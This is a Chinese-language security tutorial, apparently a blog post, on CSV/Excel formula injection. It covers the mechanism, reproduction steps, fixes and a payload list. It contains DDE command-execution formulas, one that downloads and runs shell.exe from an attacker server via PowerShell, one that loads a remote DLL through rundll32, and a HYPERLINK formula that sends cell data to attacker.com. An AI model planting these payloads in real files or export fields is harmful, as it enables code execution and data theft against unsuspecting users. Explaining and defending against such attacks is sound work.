CSV注入

CSV 介绍

CSV 是“Comma-Separated Values”的缩写,是一种常见的数据格式。CSV 文件通常包含一系列以逗号分隔的值,每个值都表示数据的一个字段。这种数据格式常用于将数据从一个应用程序或系统转移到另一个应用程序或系统,因为它易于生成和解析,并且不依赖于特定的操作系统或软件。

CSV 文件可以使用任何文本编辑器打开和编辑,也可以使用 Excel 打开。在 CSV 文件中,每个字段之间都用逗号分隔,行末通常用回车符和换行符表示。每一行表示数据的一条记录,每个字段表示记录中的一个属性。

举例如下,将如下内容保存为1.csv

Name, Age, Gender
Alice, 25, Female
Bob, 30, Male
Charlie, 40, Male

打开后如下

Imagecsv

漏洞介绍

既然是注入,就说明也是将恶意代码插入到某个地方,这里就是将恶意代码插入到 CSV 文件中。

当在 Excel 中打开 CSV 文件时,文件会从 CSV 描述转变为原始的 Excel 格式,包括 Excel 提供的所有动态功能。在这个过程中,CSV 中的所有 Excel 公式都会执行。

简单来说,如果单元格中的第一个字符是+-@=这些符号时,就会被当成公式来执行。

CSV 注入(公式注入)攻击就是利用了 Excel 软件的自动计算功能,以执行 Excel 公式中的代码。攻击者可以通过修改 CSV 文件中的内容,注入包含恶意代码的 Excel 公式,或者通过在 Excel 公式中使用外部数据源,将恶意代码注入到目标系统中,从而对用户实施攻击。

漏洞危害

主要攻击的是用户,对服务端几乎无影响

普通用户在打开恶意的 CSV 文件并忽略弹窗提示后,通常会造成如下危害:

  1. 命令执行
  2. 敏感信息泄漏

漏洞复现

命令执行

=1+cmd|' /C calc'!A0

编辑内容如下:

Image2.csv

打开文档

Image选择启用

Image选择是

这样就可以成功执行了系统命令

Image执行系统命令

信息泄漏

=HYPERLINK("http://attacker.com/?param1=value1&param2="&A1&"@attacker.com")

内容如下:

Image2.csv

打开 CSV 后,可见 A1 的值被添加到了 URL 中

ImageA1

用户只要点击这个 URL,就会携带A1的值向恶意网站发起请求,造成信息泄漏。

修复建议

  • 单元格不以特殊字符开头:+-@=0x09(Tab)0x0D(回车)
  • 在生成 CSV 时,给每个字段前添加',且给每一个字段内容用双引号引起来
  • 加强员工安全意识培训,禁用 DDE 协议

常见漏洞点

如果网站存在导出 CSV 功能,且导出内容可控,那么我们就可以将可控的内容修改为 payload,让正常用户导出后打开,即可触发。

说明

如何开启 DDE

高版本的 office 默认禁止 DDE,无法执行,开启方法如下:

Image开启DDE

导出 xlsx 文件也存在这个问题吗

与 CSV 注入类似,也存在类似的问题,因为都是利用 Excel 公式语法执行系统命令。

实际危害大吗

不大,因为利用非常鸡肋,大多数 SRC 都不收。

各种 Payload

# RCE
=cmd|' /C calc'!A0
+cmd|' /C calc'!A0
-cmd|' /C calc'!A0
@SUM(cmd|'/c calc'!A0)

=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
=10+20+cmd|' /C calc'!A0
@SUM(1+9)*cmd|' /C calc'!A0

# 信息泄漏
=HYPERLINK("http://attacker.com/?param1=value1&param2="&A1&"@attacker.com")

参考

  • CSV Injection
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值